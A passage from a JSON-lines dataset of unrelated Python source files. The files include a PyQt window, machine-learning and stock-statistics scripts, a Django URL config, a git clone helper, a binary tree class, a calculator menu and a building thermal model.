__init__(self):\n super(MainWindow,self).__init__()\n self.setupUi(self)\n\n def saudacao():\n print(\"ola mundo\")\n\n def saudacao2():\n print(\"funcao2\")\n\n def loading_connectdb():\n thread = Thread(target=connectdb, daemon=True)\n thread.start()\n\n def connectdb ():\n progressnumber = 0\n for i in range(100):\n print(\"Connecting . . .\")\n self.progresso.setValue(progressnumber)\n time.sleep(0.1)\n progressnumber = progressnumber+1\n\n def timing():\n progressnumber = 0\n for i in range(100):\n print(\"Connecting . . .\"+str(progressnumber))\n time.sleep(0.1)\n progressnumber = progressnumber + 1\n\n\n\n self.button_checkdb.clicked.connect(loading_connectdb)\n #self.botao2.clicked.connect(saudacao2)\n\n\n\n\n\nif __name__ == \"__main__\":\n print(\"inicializando\")\n import sys\n app = QtWidgets.QApplication(sys.argv)\n ui = MainWindow()\n ui.show()\n sys.exit(app.exec_())\n print(\"finalizado\")\n","sub_path":"projeto1/janela_principal.py","file_name":"janela_principal.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"473276587","text":"#name of data file must be the same in the diderot program and makejson call\njsondata ='data.json'\n\nimport sys\nfrom firedrake import *\nfrom os.path import abspath, dirname\nimport pytest\nimport os\nfrom os import path\ncwd = abspath(dirname(__file__))\n\nsys.path.insert(0, '../../lib/')\nfrom init import *\n#from connect import *\nfrom makejson import *\n\nimport ctypes\nfrom ctypes import POINTER, c_int, c_double, c_void_p, c_float\nimport numpy\nimport numpy.ctypeslib as npct\n\n\n\nimgpath = '../data/'\n\n# init diderot program\ndef inside(name, f, res, stepSize):\n init_file = os.getcwd() + '/inside_init.so'\n _call = ctypes.CDLL(init_file)\n type = 1\n data = organizeData(f)\n _call.callDiderot_inside.argtypes = (ctypes.c_char_p,ctypes.c_int,ctypes.c_void_p,ctypes.c_int,ctypes.c_float)\n result = _call.callDiderot_inside(ctypes.c_char_p(name), type,ctypes.cast(ctypes.pointer(data),ctypes.c_void_p), res, stepSize)\n return(result)\n\n#progrm creates step size\ndef cut_json(name, namedata, f, V, res):\n datafile = imgpath+name\n namepng = datafile +'.png'\n namenrrd = datafile +'.nrrd'\n makejson(V, namedata)\n os.system('sh compile.sh') # compiles diderot program\n\n stepSize = 1.0/res\n inside(namenrrd, f, res, stepSize)\n #visualize result\n quantize(namenrrd, namepng)\n os.system('open ' + namepng)\n\n# define field\ndef vis_exp(lbl, exp):\n mesh = UnitSquareMesh(2,2)\n V= FunctionSpace(mesh,\"Lagrange\",degree=2)\n f = Function(V).interpolate(Expression(exp))\n name = \"inside_\"+lbl\n res = 300\n a = cut_json(name, jsondata,f, V,res)\n\n\n# init expression in field\ndef test_ex0():\n vis_exp(\"ex\",\"x[0]*x[0]*(1-x[0])\")\n #vis_exp (\"y\", \"x[1]\")\n #vis_exp (\"x\", \"x[0]\")\n vis_exp (\"xsq\", \"x[0]*x[0]\")\n #vis_exp (\"sinex\", \"sin(x[0])\")\n vis_exp (\"xsinex\", \"(x[0])*sin(x[0])\")\n\ntest_ex0()\n","sub_path":"dev/track/inside.py","file_name":"inside.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"374711288","text":"from src.models.model import XGBoost, QuantileGB, SVM, QuantileRF,train_model,KNN,LinearModel\nimport pandas as pd\nimport numpy as np\nfrom tqdm import trange\nfrom sklearn.model_selection import TimeSeriesSplit,ParameterGrid\nimport pickle\n\nimport pandas as pd\n\nimport logging\nfrom pathlib import Path\n\n\n\ndef main(year,tgt):\n import pickle\n import time\n import pandas as pd\n\n timestr = time.strftime(\"%Y%m%d-%H%M%S\")\n\n log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n logging.basicConfig(level=logging.INFO, format=log_fmt)\n #tgt = 'final.output.recovery'\n #tgt = 'rougher.output.recovery'\n\n #year = 2016\n note = '_1'\n # not used in this stub but often useful for finding various file\n root = Path(__file__).resolve().parents[2]\n print(root)\n # Get raw features\n with open(f'{root}/data/processed/data_dict_all.pkl', 'rb') as f:\n data_dict = pickle.load(f)\n # X_train is used for training and validation, X_test - final predictions (we have no labels for it)\n # Fix the year at 2016 for now\n #X_train = data_dict[year]['X_train']\n #y_train = data_dict[year]['y_train']\n\n X = data_dict[year]['X_train']\n y = data_dict[year]['y_train']\n print(f'X_train shape: {X.shape}, y_train: {y.shape}')\n\n X_test = data_dict[year]['X_test']\n inds = (X['rougher.input.feed_zn'] > 0.5).index\n inds_y = y[(y[tgt] > 5) & (y[tgt] < 100)].index\n inds_common = inds_y.intersection(inds)\n\n X = X.loc[inds_common,]\n y = y.loc[inds_common, tgt]\n\n param_grids = {\"alpha\": [0.0001, 0.001, 0.01,1, 10],\n \"l1_ratio\": np.arange(0.0, 1.0, 0.1)}\n\n default = {}\n # n_estimators: Any = 10,\n # criterion: Any = 'mse',\n # max_depth: Any = None,\n # min_samples_split: Any = 2,\n # min_samples_leaf: Any = 1,\n # min_weight_fraction_leaf: Any = 0.0,\n # max_features: Any = 'auto',\n # max_leaf_nodes: Any = None,\n # bootstrap: Any = True,\n # oob_score: Any = False,\n # n_jobs: Any = 1,\n # random_state: Any = None,\n # verbose: Any = 0,\n # warm_start: Any = False) -> None\n\n grids = ParameterGrid(param_grids)\n cv = TimeSeriesSplit(n_splits=5)\n\n mus = []\n sds = []\n grids_full=[]\n for i in trange(len(grids)):\n g = grids[i]\n g = {**g, **default}\n scores, mu, sd, m = train_model(X, y, cv, model=LinearModel, params=g)\n grids_full.append(g)\n mus.append(mu)\n sds.append(sd)\n\n id_grid = np.argmin(mus)\n grid_best = grids_full[id_grid]\n print(f'Best score: {mus[id_grid]} +- {sds[id_grid]} at grid = {grid_best}, {tgt} -- {year}')\n m.fit_final(X, y, params=grid_best)\n ypred= m.predict(X_test)\n preds = pd.DataFrame(data = {'date':X_test.index, tgt:ypred})\n\n preds.to_csv(f'{root}/results/LM_{tgt}_{year}_{note}.csv',index=False)\n\n\n\n # grids[14]\n # Set up crossvalidation procedure:\n\n\n\nif __name__ == '__main__':\n # tgt = 'final.output.recovery'\n # tgt = 'rougher.output.recovery'\n # year = 2016\n for y in [2016,2017]:\n for tgt in ['final.output.recovery','rougher.output.recovery']:\n main(y,tgt)","sub_path":"src/models/train_model_lm.py","file_name":"train_model_lm.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"301151583","text":"import webapp2\nimport os\n\nimport cgi\nimport datetime\nimport urllib\nimport json\n\nfrom google.appengine.ext import db\nfrom google.appengine.api import users\n\nclass GetDraws(webapp2.RequestHandler):\n def get(self):\n data = {\"results\":(\n {\n \"type\":\"Lotto\",\n \"numbers\":(1,2,3,4,5,6,10),\n \"date\":\"Sat 26 May 2012\"\n },\n {\n \"type\":\"Lotto\",\n \"numbers\":(1,2,3,4,5,6,10),\n \"date\":\"Sat 26 May 2012\"\n },\n {\n \"type\":\"Euro\",\n \"numbers\":(1,2,3,4,5,10,11),\n \"date\":\"Fri 25 May 2012\"\n },\n {\n \"type\":\"Lotto\",\n \"numbers\":(1,2,3,4,5,6,10),\n \"date\":\"Sat 26 May 2012\"\n }\n )}\n data_string = json.dumps(data)\n \n callbackValue = self.request.get('callback')\n \n self.response.headers['Content-Type'] = 'application/json;charset=utf-8'\n self.response.out.write(callbackValue + '(' + data_string + ')')\n\nclass ProductListHandler(webapp2.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'application/json;charset=utf-8'\n self.response.out.write(\"hello\")\n\napp = webapp2.WSGIApplication([('/api/admin/getdraws', GetDraws),\n ('/api/admin/getdrawdetail', ProductListHandler)],\n debug=True)","sub_path":"syndicateadminapi.py","file_name":"syndicateadminapi.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"308100611","text":"#-*- coding: utf-8 -*-\n\nimport os\ndef gitClone(name):\n projectPath = os.path.abspath('data/gitRepo/%s'%(name))\n not os.path.isdir(projectPath) and os.makedirs(projectPath)\n cmd = 'git clone https://github.com/%s.git %s' %(name, projectPath)\n cmd1 = 'git log --pretty=format:“%h - %an, %ar : %s” > log.txt'\n cmd2 = 'git log --pretty=format:“%h - %an, %ar : %s” > log.txt'\n cmd3 = 'git log --pretty=format:“%h - %an, %ar : %s” > log.txt'\n cmd4 = 'git log --pretty=format:“%h - %an, %ar : %s” > log.txt'\n cwd = os.getcwd()\n os.chdir(projectPath)\n result = os.system(cmd)\n result1 = os.system(cmd1)\n result1 = os.system(cmd1)\n result1 = os.system(cmd1)\n result1 = os.system(cmd1)\n os.chdir(cwd)\n if result != 0:\n return False\n return True\n if result1 != 0:\n return False\n return True\n\ngitClone('cxsjclassroom/webserver')\n","sub_path":"commit_shell.py","file_name":"commit_shell.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"358439642","text":"from django.contrib import admin\nfrom django.urls import include, path, re_path\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n\n # Login tramite browsable API\n path('api-auth/',\n include(\"rest_framework.urls\")),\n\n # Basic auth api\n path('api/rest-auth/',\n include(\"rest_auth.urls\")),\n\n # Registration auth api\n path('api/rest-auth/registration/',\n include(\"rest_auth.registration.urls\")),\n\n # API iot\n path('api/',\n include(\"iot.api.urls\")),\n\n]\n\n#urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n#urlpatterns.append(re_path(r\"^.*$\", IndexTemplateView.as_view(), name=\"entry-point\"))\n","sub_path":"nethings/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"537711205","text":"# 题目描述\n# 输入一颗二叉树和一个整数，打印出二叉树中结点值的和为输入整数的所有路径。路径定义为从树的根结点开始往下一直到叶结点所经过的结点形成一条路径。\n\n# -*- coding:utf-8 -*-\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nclass Solution:\n # 返回二维列表，内部每个列表表示找到的路径\n def FindPath(self, root, expectNumber):\n # write code here\n if root == None: return []\n results = []\n self.FindPath1(root, expectNumber, 0, [], results)\n return results\n \n def FindPath1(self, root, expectNumber, currNum, path, results):\n currNum += root.val\n path.append(root.val)\n\n if currNum > expectNumber: return\n if currNum == expectNumber and root.right == None and root.left == None:\n results.append(path[:])\n if root.left != None:\n self.FindPath1(root.left, expectNumber, currNum, path, results)\n if root.right != None:\n self.FindPath1(root.right, expectNumber, currNum, path, results)\n path.pop()\n \n \n \n ","sub_path":"剑指offer/二叉树中和为某一值的路径.py","file_name":"二叉树中和为某一值的路径.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"10152379","text":"from src.BasicFunctions import add, subtract, multiply, divide\nfrom src.AdvFunctions import int_division, factorial, quadratic_eq\n\nclass FunctionManager:\n functions = {\n 0: (add, 2, \"Add\"),\n 1: (subtract, 2, \"Subtract\"),\n 2: (multiply, 2, \"Multiply\"),\n 3: (divide, 2, \"Divide\"),\n 4: (int_division, 2, \"Intereger divition\"),\n 5: (factorial, 1, \"Factorial\"),\n 6: (quadratic_eq, 3, \"Quadratic equation\")\n }\n\n def use_function(self, choice, *args):\n return self.functions[choice][0](*args)\n\n def calc_num_of_args(self, choice):\n return self.functions[choice][1]\n\n # Shows users which function of calculator they can choose\n def show_functions(self):\n print(\"Please select operation by choosing its number -\")\n\n # Iterates through the dictionary \"functions\" to print all possible functions.\n for func in self.functions.items():\n print(\"{} - {}\".format(\n func[0], func[1][2]\n ))\n","sub_path":"src/FunctionManager.py","file_name":"FunctionManager.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"572223319","text":"# -*- encoding:utf-8 -*-\nfrom com.guoyang.util.Constants import *\nimport os\nimport pandas\n\ndef createFile():\n with open(FILE_NAME, \"a+\") as f:\n f.read()\n f.seek(0)\n f.write(\"this is a new text2\")\n# createFile()\n\ndef deleteFile():\n os.remove(FILE_NAME)\n# deleteFile()\n\ndef readAndWriteFile():\n with open(FILE_NAME, \"w+\") as f:\n arr=[\"hello\",\"world\"]\n for s in arr:\n f.writelines(s + \"\\n\")\n f.seek(0)\n dst = f.readlines()\n print(dst)\n# readAndWriteFile()\n\n# 通过遍历计算协议消耗平均时长~并且排序输出\ndef handleLog():\n print(\"waiting...\")\n with open(LOG_NAME, \"r\", -1, \"utf-8\") as f:\n print(f.name)\n wordCount={}\n wordTime={}\n allLines=f.readlines()\n for line in allLines:\n if line.find(\"|CMD|\") < 1:\n continue\n lineArr = line.split(\"|\")\n if not wordCount.get(lineArr[6]):\n wordCount[lineArr[6]] = 0\n wordTime[lineArr[6]] = 0\n wordCount[lineArr[6]] = wordCount[lineArr[6]] + 1\n wordTime[lineArr[6]] = wordTime[lineArr[6]] + int(lineArr[8])\n for protocol in wordTime.keys():\n wordTime[protocol] = wordTime[protocol] / wordCount[protocol]\n\n print(sorted(wordTime.items(), key=lambda e:e[1],reverse=True))\n# handleLog()\n\n# 使用pandas统计日志平均时长\ndef handleLogWithPandas():\n help(pandas.read_table)\nhandleLogWithPandas()","sub_path":"com/guoyang/file/FileProcess.py","file_name":"FileProcess.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"66536262","text":"from collections import Counter\nfrom asyncio import sleep\nfrom random import randint, choice\nfrom jogo.tela.imprimir import formatar_status, colorir, Imprimir\nfrom jogo.itens.pocoes import PocaoDeVidaFraca\n\n\nclass Humano:\n \"\"\"\n Classe geral para cada classe no jogo.\n\n o que os atributos aumentão?\n vitalidade - vida\n fortividade - dano físico\n resistência - resistência a magia[fogo, raio, veneno, magia do submundo]\n inteligência - dano mágico\n crítico - dano crítico\n destreza - velocidade ataque, habilidade com armas\n movimentação - velocidade movimentação\n \"\"\"\n # não importe ou use essa classe na história, só herde dela seus atributos.\n tela = Imprimir()\n\n def __init__(\n self, nome, jogador='bot', level=1, status={}, atributos={},\n experiencia=0\n ):\n self.nome = nome\n self.level = level\n self.experiencia = experiencia\n self.status = Counter(\n status or {\n 'vida': 100, 'dano': 5, 'resis': 5, 'velo-ataque': 1,\n 'criti': 5, 'armadura': 5, 'magia': 100, 'stamina': 100,\n 'velo-movi': 1\n }\n )\n self.atributos = Counter(\n status or {\n 'vitalidade': 0, 'fortividade': 0, 'inteligência': 0,\n 'crítico': 0, 'destreza': 0, 'resistência': 0, 'movimentação': 0\n }\n )\n # for x in self.status:\n # self.status[x] += self.status[x] * 100 // self.level # teste\n self.habilidades = {}\n self.inventario = {\n 'pratas': 1500, 'poção de vida fraca': PocaoDeVidaFraca(0)\n }\n self.habi = 'dano'\n self.jogador = jogador\n # self.quantidade_habilidades = ''\n\n def atacar(self, other):\n if self.jogador != 'humano':\n return self._atacar_como_bot(other)\n return self._atacar_como_jogador(other)\n\n async def _atacar_como_bot(self, other):\n while all([other.status['vida'] > 0, self.status['vida'] > 0]):\n self._comsumir_pocoes_bot()\n dano = self.status['dano']\n if randint(0, 1):\n keys = tuple(self.habilidades)\n # dano = dano * 100 // self.habilidades[choice(keys)] # dano errado\n dano = self.habilidades[choice(keys)]\n other.status['vida'] -= dano\n if other.status['vida'] < 0:\n other.status['vida'] = 0\n self.tela.imprimir(formatar_status(self))\n await sleep(0.8)\n if self.status['vida'] > 0:\n # print(colorir(f\"\\n{self.nome} venceu!\", 'verde'))\n self.tela.imprimir(colorir(f\"- {self.nome} - venceu!\", 'verde'))\n else:\n self.tela.imprimir(formatar_status(self))\n self.tela.reiniciar_ciclo_menos_1()\n await sleep(1)\n self.tela.limpar_tela()\n\n async def _atacar_como_jogador(self, other):\n raise NotImplementedError()\n\n def ressucitar(self):\n self.status['vida'] = 100\n\n def _comsumir_pocoes_bot(self):\n pocoes = self._achar_pocoes()\n if all((self.status['vida'] <= 30, pocoes)):\n self.status['vida'] += pocoes[0].consumir()\n\n def _achar_pocoes(self) -> list:\n nomes = [\n 'poção de vida fraca', 'poção de vida média',\n 'poção de vida grande', 'poção de vida extra grande',\n 'elixir de vida fraca', 'elixir de vida média',\n 'elixir de vida grande', 'elixir de vida extra grande'\n ]\n poções = [self.inventario[x] for x in nomes if x in self.inventario]\n poções = sorted(poções, key=lambda x: x.pontos_cura)\n return poções\n\n # async def escolher_habilidade(self, habilidade=1):\n # if habilidade in self.quantidade_habilidades:\n # self.habilidade_ = list(self.habilidades)[habilidade - 1]\n # await sleep(0.01)\n\n\nclass Arqueiro(Humano):\n def __init__(self, nome):\n super().__init__(nome)\n self.habilidades = {'flecha de fogo': 10, 'tres flechas': 15}\n self.classe = 'Arqueiro'\n self.quantidade_habilidades = range(1, 3)\n\n\nclass Guerreiro(Humano):\n def __init__(self, nome):\n super().__init__(nome)\n self.habilidades = {'investida': 10, 'esmagar': 15}\n self.classe = 'Guerreiro'\n self.quantidade_habilidades = range(1, 3)\n\n\nclass Mago(Humano):\n def __init__(self, nome):\n super().__init__(nome)\n self.habilidades = {'bola de fogo': 10, 'bola de gelo': 10}\n self.classe = 'Mago'\n self.quantidade_habilidades = range(1, 3)\n\n\nclass Assassino(Humano):\n def __init__(self, nome):\n super().__init__(nome)\n self.habilidades = {}\n self.classe = 'Assassino'\n self.quantidade_habilidades = range(1, 3)\n\n\nclass Clerigo(Humano): # curandeiro?\n def __init__(self, nome):\n super().__init__(nome)\n self.habilidades = {}\n self.classe = 'Clerigo'\n self.quantidade_habilidades = range(1, 3)\n\n\n# druida?\n# dual blade?\n# lutador? não me parece uma boa\n","sub_path":"jogo/personagens/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":5111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"251252591","text":"username = \"홍길동\"\nage = 30\nheight = 180.2\nisMarried = False\nemail = None\nphones = [\"010-2344-2342\", \"010-3432-5454\"]\naddresses = {(36, 127): \"서울\", (35, 127): \"제주도\"}\n\nprint(type(age))\nprint(type(addresses))\nprint(type(email))\nprint(type(phones))\n# str, int, float, bool, list, set, tuple, dict\n\n\n","sub_path":"day1/sample02_var2.py","file_name":"sample02_var2.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"250434416","text":"import discord\r\nfrom discord.ext import commands\r\nimport datetime, time\r\n\r\nstart_time = time.time()\r\nstarttime2 = time.ctime(int(time.time()))\r\n\r\nclass info():\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n @commands.command()\r\n async def info(self, ctx):\r\n second = time.time() - start_time\r\n minute, second = divmod(second, 60)\r\n hour, minute = divmod(minute, 60)\r\n day, hour = divmod(hour, 24)\r\n embed=discord.Embed(description=f\"**Information**\\n\\n__**Stats**__\\nUptime: **%dd %dh %dm %ds**\\nServers: **{len(self.bot.guilds)}**\\nDiscord.py: **{discord.__version__}**\"% (day, hour, minute, second),color=0x9b9dff)\r\n await ctx.send(embed=embed)\r\n\r\ndef setup(bot):\r\n bot.add_cog(info(bot))","sub_path":"cogs/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"188161234","text":"class Bintree:\n def __init__(self):\n self.root = None\n\n def put(self, newvalue):\n # Sorterar in newvalue i trädet\n self.root = putta(self.root, newvalue)\n\n def __contains__(self, value):\n # True om value finns i trädet, False annars\n return finns(self.root, value)\n\n def write(self):\n # Skriver ut trädet i inorder\n skriv(self.root)\n print(\"\\n\")\n\n\ndef putta(current, newvalue): # sorterar och lägger in en nod\n if current is None:\n current = Node(newvalue)\n else:\n if newvalue < current.value:\n if current.left: # pekar roten på en nod till vänster?\n putta(current.left, newvalue) # rekursivt\n else:\n current.left = Node(newvalue)\n elif newvalue > current.value:\n if current.right:\n putta(current.right, newvalue)\n else:\n current.right = Node(newvalue)\n return current\n\n\ndef finns(current, value): # finns värdet i trädet?\n if current is None:\n return False\n if value == current.value:\n return True\n if value < current.value:\n return finns(current.left, value)\n if value > current.value:\n return finns(current.right, value)\n\n\ndef skriv(current): # skriver ut trädet inorder\n if current is not None:\n skriv(current.left)\n print(current.value)\n skriv(current.right)\n\n\nclass Node:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n\n\n","sub_path":"bintreeFile.py","file_name":"bintreeFile.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"564576902","text":"# Carlos Badillo García\r\n# Programa que muestra un menu para que el usuario escoga la función que sera realizada\r\n\r\n\r\ndef dividir(dividendo, divisor): #Función que sirve para realizar una division sin hacer uso de \"/, // o %\"\r\n div = dividendo\r\n cociente = 0\r\n\r\n while divisor <= dividendo:\r\n dividendo = dividendo - divisor\r\n cociente = cociente + 1\r\n\r\n print(div, \"/\", divisor, \"=\", cociente, \", sobra\", dividendo)\r\n\r\n\r\ndef encontrarMayor(): #Función que muestra el número mayor entre un conjunto de números\r\n\r\n mayor = -1\r\n numero = int(input(\"Teclea un número [-1 para salir]: \"))\r\n\r\n while numero != -1:\r\n if numero > mayor:\r\n mayor = numero\r\n numero = int(input(\"Teclea un número [-1 para salir]: \"))\r\n\r\n if mayor == -1:\r\n print(\"No hay valor mayor\")\r\n else:\r\n print(\"El mayor es: \", mayor)\r\n\r\ndef leerOpciones(): #Función para mostrar las opciones a escoger\r\n print(\"Misión 07. Ciclos while\")\r\n print(\"Autor: Carlos Badillo García\")\r\n print(\"Matrícula: A01377618\")\r\n print(\"1. Calcular divisiones\")\r\n print(\"2. Encontrar el mayor\")\r\n print(\"3. Salir\")\r\n opcion = int(input(\"Teclea tu opción: \"))\r\n return opcion\r\n\r\n\r\ndef main(): #Función que ejecuta la función para leer las opciones y consecuentemente, todas las demas funciones\r\n\r\n opcion = leerOpciones()\r\n\r\n while opcion != 3:\r\n if opcion == 1:\r\n print()\r\n print(\"Calculando divisiones\")\r\n dividendo = int(input(\"Dividendo: \"))\r\n divisor = int(input(\"Divisor: \"))\r\n dividir(dividendo, divisor)\r\n print()\r\n\r\n elif opcion == 2:\r\n print()\r\n print(\"Teclea una serie de números para encontrar el mayor.\")\r\n encontrarMayor()\r\n print()\r\n\r\n else:\r\n print(\"ERROR, teclea 1, 2 o 3\")\r\n print()\r\n\r\n opcion = leerOpciones()\r\n print()\r\n print(\"Gracias por usar este programa, regresa pronto.\")\r\n\r\n\r\nmain()","sub_path":"Mision07.py","file_name":"Mision07.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"61846777","text":"# -*- coding: utf-8 -*-\nimport json\nimport time\nimport math\nimport tushare as ts\nimport talib\nfrom pandas import DataFrame\nimport numpy as np\nimport math\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport midas.core.analyzer.api as api\n\nimport midas.core.data.models as models\nfrom midas.core.data.engine import main_session\nimport midas.bin.env as env\nimport mpl_finance as mpf\nfrom decimal import Decimal\nimport decimal\n\nCOL_0 = 'COL_0'\nCOL_1 = 'COL_1'\nCOL_2 = 'COL_2'\nCOL_CHG = 'COL_CHG'\nCOL_PROBABILITY = 'COL_PROBABILITY'\n# COL_DISCRETE = 'COL_DISCRETE'\nCOL_AGGRESSIVE_COUNT = 'COL_AGGRESSIVE_COUNT'\nCOL_FLOAT_HOLDERS = 'COL_FLOAT_HOLDERS'\nCOL_HOLDERS_COUNT = 'COL_HOLDERS_COUNT'\nCOL_CIRC_MV = 'COL_CIRC_MV'\n\nsampling_count = 300\n\nanalyze_count = 100\ndates = []\ndate_detailed = {}\n\n\ndef limit_rate(symbol):\n if symbol.startswith('300'):\n rate = 0.2\n elif symbol.startswith('301'):\n rate = 0.2\n elif symbol.startswith('688'):\n rate = 0.2\n else:\n rate = 0.1\n\n return rate\n\ndef limit_price(a_daily, rate):\n today_limit_price = Decimal(a_daily.pre_close * (1 + rate)).quantize(Decimal('0.00'), rounding=decimal.ROUND_HALF_UP)\n today_limit_price = float(today_limit_price)\n return today_limit_price\n\n\ndef main(offset=0):\n daily001 = main_session.query(models.DailyPro).filter(models.DailyPro.ts_code == '000001.SZ').order_by(models.DailyPro.trade_date.desc()).all()\n LAST_MARKET_DATE = daily001[offset].trade_date\n\n for i, stock_basic in enumerate(main_session.query(models.StockBasicPro).all()):\n try:\n if 'ST' in stock_basic.name or stock_basic.symbol.startswith('688'):\n continue\n\n daily = main_session.query(models.DailyPro).filter(models.DailyPro.ts_code == stock_basic.ts_code,\n models.DailyPro.trade_date <= LAST_MARKET_DATE).order_by(\n models.DailyPro.trade_date.desc()).limit(sampling_count).all()\n\n rate = limit_rate(stock_basic.symbol)\n for j in range(analyze_count):\n trade_date = daily[j].trade_date\n if trade_date not in dates:\n dates.append(trade_date)\n date_detailed[trade_date] = {\n 'limit_count': 0,\n 'relimit_count': 0,\n 'relimit_avg_open_chg': 0,\n 'relimit_avg_high_chg': 0\n }\n\n limit_price_0 = limit_price(daily[j], rate)\n limit_price_1 = limit_price(daily[j + 1], rate)\n limit_price_2 = limit_price(daily[j + 2], rate)\n\n if daily[j].close == limit_price_0:\n date_detailed[trade_date]['limit_count'] += 1\n\n # relimit chance\n if (daily[j + 1].close == limit_price_1) and (daily[j + 2].close < limit_price_2):\n high_chg = round((daily[j].high / daily[j].pre_close - 1) * 100, 2)\n open_chg = round((daily[j].open / daily[j].pre_close - 1) * 100, 2)\n\n count = date_detailed[trade_date]['relimit_count']\n avg_open_chg = (count * date_detailed[trade_date]['relimit_avg_open_chg'] + open_chg) / (count + 1)\n avg_high_chg = (count * date_detailed[trade_date]['relimit_avg_high_chg'] + high_chg) / (count + 1)\n\n date_detailed[trade_date]['relimit_count'] = count + 1\n date_detailed[trade_date]['relimit_avg_open_chg'] = avg_open_chg\n date_detailed[trade_date]['relimit_avg_high_chg'] = avg_high_chg\n\n except Exception as e:\n print('exception in index:{index} {code} {name}'.format(index=i, code=stock_basic.ts_code, name=stock_basic.name))\n continue\n print('##### limit_statistics {i} #####'.format(i=i))\n\n data_frame = DataFrame()\n\n for k, v in date_detailed.items():\n data_frame.loc[str(k), 'relimit_count'] = v['relimit_count']\n data_frame.loc[str(k), 'relimit_avg_high_chg'] = v['relimit_avg_high_chg']\n data_frame.loc[str(k), 'relimit_avg_open_chg'] = v['relimit_avg_open_chg']\n data_frame.loc[str(k), 'limit_count'] = v['limit_count']\n\n fig = plt.figure(figsize=(len(dates) * 0.4, 12))\n plt.subplots_adjust(top=1, bottom=0.1)\n data_frame = data_frame.sort_index()\n\n ax1 = fig.add_subplot(4, 1, 1)\n sns.lineplot(ax=ax1, data=data_frame['relimit_count'], linewidth=1)\n ax1.set_xticks([])\n\n ax2 = fig.add_subplot(4, 1, 2)\n sns.lineplot(ax=ax2, data=data_frame['relimit_avg_high_chg'], linewidth=1)\n plt.axhline(y=0, c='r', ls='--', lw=1)\n ax2.set_xticks([])\n\n ax3 = fig.add_subplot(4, 1, 3)\n sns.lineplot(ax=ax3, data=data_frame['relimit_avg_open_chg'], linewidth=1)\n plt.axhline(y=0, c='r', ls='--', lw=1)\n ax3.set_xticks([])\n\n ax4 = fig.add_subplot(4, 1, 4)\n sns.lineplot(ax=ax4, data=data_frame['limit_count'], linewidth=1)\n\n plt.xticks(rotation=90)\n # fig.tight_layout()\n plt.savefig('../../buffer/limit_statistics/{date}_limit_statistics.png'.format(date=LAST_MARKET_DATE))\n\n\nif __name__ == '__main__':\n # for i in range(1, 10):\n main(offset=0)","sub_path":"core/analyzer/_0x76_Limit_Statistics.py","file_name":"_0x76_Limit_Statistics.py","file_ext":"py","file_size_in_byte":5271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"194754465","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 09 16:37:05 2016\n\n@author: tsz\n\"\"\"\nfrom __future__ import division\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport low_order_VDI\nimport tcParams as tc\n\n# Definition of time horizon\ntimes_per_hour = 60\ntimesteps = 24 * 60 * times_per_hour # 60 days\ntimesteps_day = int(24 * times_per_hour)\n\n# Zero inputs \nventRate = np.zeros(timesteps)\nsolarRad_in = np.zeros((timesteps,1))\nsource_igRad = np.zeros(timesteps)\n\n# Constant inputs\nalphaRad = np.zeros(timesteps) + 5\nequalAirTemp = np.zeros(timesteps) + 295.15 # all temperatures in K\nweatherTemperature = np.zeros(timesteps) + 295.15 # in K\n\n# Variable inputs\nQ_ig = np.zeros(timesteps_day)\nfor q in range(int(6*timesteps_day/24), int(18*timesteps_day/24)):\n Q_ig[q] = 1000\nQ_ig = np.tile(Q_ig, 60)\n\n# Load constant house parameters\nhouseData = tc.get_house_data(case=1)\n\nkrad = 1\n\n# Define set points (prevent heating or cooling!)\nt_set_heating = np.zeros(timesteps) # in Kelvin\nt_set_cooling = np.zeros(timesteps) + 600 # in Kelvin\n\nheater_limit = np.zeros((timesteps,3)) + 1e10\ncooler_limit = np.zeros((timesteps,3)) - 1e10\n\n# Calculate indoor air temperature\nT_air, Q_hc, Q_iw, Q_ow = 